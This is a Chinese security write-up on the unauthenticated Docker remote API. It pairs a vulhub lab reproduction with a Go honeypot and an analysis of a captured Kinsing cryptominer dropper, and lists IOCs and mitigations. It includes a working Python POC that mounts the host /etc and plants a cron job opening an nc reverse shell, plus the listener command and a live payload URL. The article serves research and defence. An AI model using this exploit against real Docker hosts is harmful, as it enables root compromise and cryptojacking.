docker未授权漏洞蜜罐模拟与捕获分析
2022-7-13 23:44:19 Author: xz.aliyun.com(查看原文) 阅读量:38 收藏

文章主要分析docker未授权漏洞的原理及形成原因,使用vulhub靶场复现漏洞,在了解漏洞原理并复现的基础上使用golang编写蜜罐代码进行模拟,开放端口在网上捕获真实存在的恶意攻击行为,对恶意样本进行分析,总结出威胁情报。

2.1 漏洞环境

宿主机 unbutu IP:192.168.145.139
攻击机 kali       IP:192.168.145.130

2.2 漏洞原理

docker是一个开源的应用容器引擎,可以让开发者打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何装有docker引擎的机器上

docker swarm是一个将docker集群变成单一虚拟的docker host工具,使用标准的docker API,能够方便docker集群的管理和扩展,在使用docker swarm时docker节点上会开放一个2375的端口,绑定在0.0.0.0上,这个就是docker remote api,可以执行docker命令,比如访问访问 http://host:2375/containers/json 会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成。这样就可以被远程执行命令,进一步获取root权限。

2.3 漏洞复现

在宿主机上使用vulhub搭建漏洞环境

环境搭建好后进入docker目录,使用命令启动环境 docker-compose up -d

出现绿色的down表示启动成功

在浏览器访问http://ip:2375/version, 可以访问说明漏洞环境搭建成功。

监听端口2375
POC:

import docker

client = docker.DockerClient(base_url='http://192.168.145.139:2375/')
data = client.containers.run('alpine:latest',
                             r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.145.130 23456 -e /bin/sh' >> /tmp/etc/crontabs/root" ''',
                             remove=Ture,volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

解释一下poc

第三行:首先连接客户端,第四行先选择要启动的容器,执行命令将宿主机的 /etc 目录挂载到容器中,volumes为传入挂载的目录, 规则是: [“docker-path:local-path”] ,使用nc命令在攻击机监听端口23456。

将目录挂载到容器中是为了能够逃出容器,进入宿主机。因为docker是以root权限运行的,docker命令只能在容器内部,与宿主机是隔离的状态,即使反弹了shell也无法进入宿主机,docker本身在运行容器的时候,可以将本地文件或者目录挂载到容器内部,并且在容器内部这些文件或者目录都是可以修改的。

这样的话可以获取root权限进程,并且能够进行修改文件或者目录。这样就可以进行利用了。

在执行代码前使用nc命令监听端口23456等待反弹shell

nc -lvvp 23456

反弹shell

在宿主机进入目录查看验证是否与攻击机相同

在攻击机反弹shell查看相同,漏洞复现成功,反弹shell可以操作宿主机

3.1 简介

蜜罐程序使用golang语言编写,本次编写蜜罐程序为低交互蜜罐,低交互蜜罐模拟网络服务响应和攻击者交互,容易部署和控制攻击,但是模拟能力会相对较弱,对攻击的捕获能力不强。

有别于高交互蜜罐采用真实系统与服务诱捕恶意攻击,低交互为攻击者展示的所有攻击弱点和攻击对象都不是真正的产品系统,而是对系统以及其提供服务的模拟,这样设计的好处是安装和配置非常简单,几乎没有安全风险问题,不足之处是不完善的模拟会降低数据捕获的能力,并且容易被攻击者识别。

将编译好的Linux执行文件放在服务器上开放2375端口诱使黑客进行攻击,运行程序,从而捕获网上的恶意攻击数据,记录攻击源和IP。

蜜罐源码已开源:https://github.com/sunhao282/HoneypotCaptureAttack/tree/master

3.2 蜜罐流程

蜜罐程序的整体流程首先会打开配置文件config.ini。

根据status是否为1判断是否开启docker蜜罐,status为1即开启蜜罐,为0则关闭蜜罐。

使用go关键字开启并行:

通过分析网络上自动化攻击程序https://github.com/Tycx2ry/docker_api_vul 发现, 我的程序需要支持的路径如下:

开启蜜罐程序后即可通过端口2375进行访问。

使用函数ListenAndServe启动http服务并监听端口,参数为服务器的IP和请求处理函数的路由复合器,函数ListenAndServe将两个参数创建一个Server结构体实例

蜜罐系统是通过这些路由在网上与攻击者进行交互。当有恶意攻击行为进行攻击后,日志文件会记录恶意攻击行为,为后续的分析提供服务。

查看日志文件发现恶意攻击行文的记录。

捕获的log文件部分截图如下:

开始分析捕获的恶意样本195.2.79.26/d.sh

4.1 下载挖矿程序

在运行kinsing脚本之前会先检查kinsing是否存在,并校验MD5值,如果不存在或者MD5不正确时会连接指定的URL进行下载kinsing。

下载地址

4.2 结束竞品

分析恶意样本源码发现了大量删除文件的操作,部分截图如下:

删除用户账号:

杀掉进程

删除docker文件

恶意文件通过大量的删除文件,杀掉进程等操作来获取最大的CPU使用率,从而获取最大的利益。

4.3 卸载安全软件

卸载阿里云安骑士文件

卸载云警

关闭selinux防火墙,关闭Linux内核apparmor安全模块,关闭阿里云服务,杀掉阿里云安骑士相关进程

4.4 建立持久化

利用定时任务建立持久化

4.5 分析恶意样本kinsing

在挖矿源码中发现恶意样本kinsing

使用IDA对恶意样本kinsing进行分析:

downloadAndExecute函数下载并执行恶意文件

调用DownloadFile函数下载文件

函数killold用来结束竞品,杀掉进程

可以看出样本包含有关挖矿相关的函数,并且通过main函数调用

4.6 IOC

IP:195.2.79.26
sh样本hash

  • SHA256:529d7dee640400faf1fe550f30adaa8776d18723e41320eb1cde753e436c2238

  • MD5:183192abab39199eb04c1961ff8a61e5

  • SHA1:3d83c555abf14a0842021b256f366234a851f3e4

下载kinsing恶意文件:http://195.2.79.26/kinsing

kinsing样本hash

  • SHA256:5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

  • MD5:2c44b4e4706b8bd95d1866d7867efa0e

  • SHA1:e545ceffc8948e3ca9900212807cf3a862d33581

限制访问2375端口,不要对外网开放,在内网中需要设置严格的访问规则,修改docker swarm的认证方式,使用TLS认证,最简单的方法就是禁止外网访问或者设置白名单。


文章来源: https://xz.aliyun.com/t/11521
如有侵权请联系:admin#unsafe.sh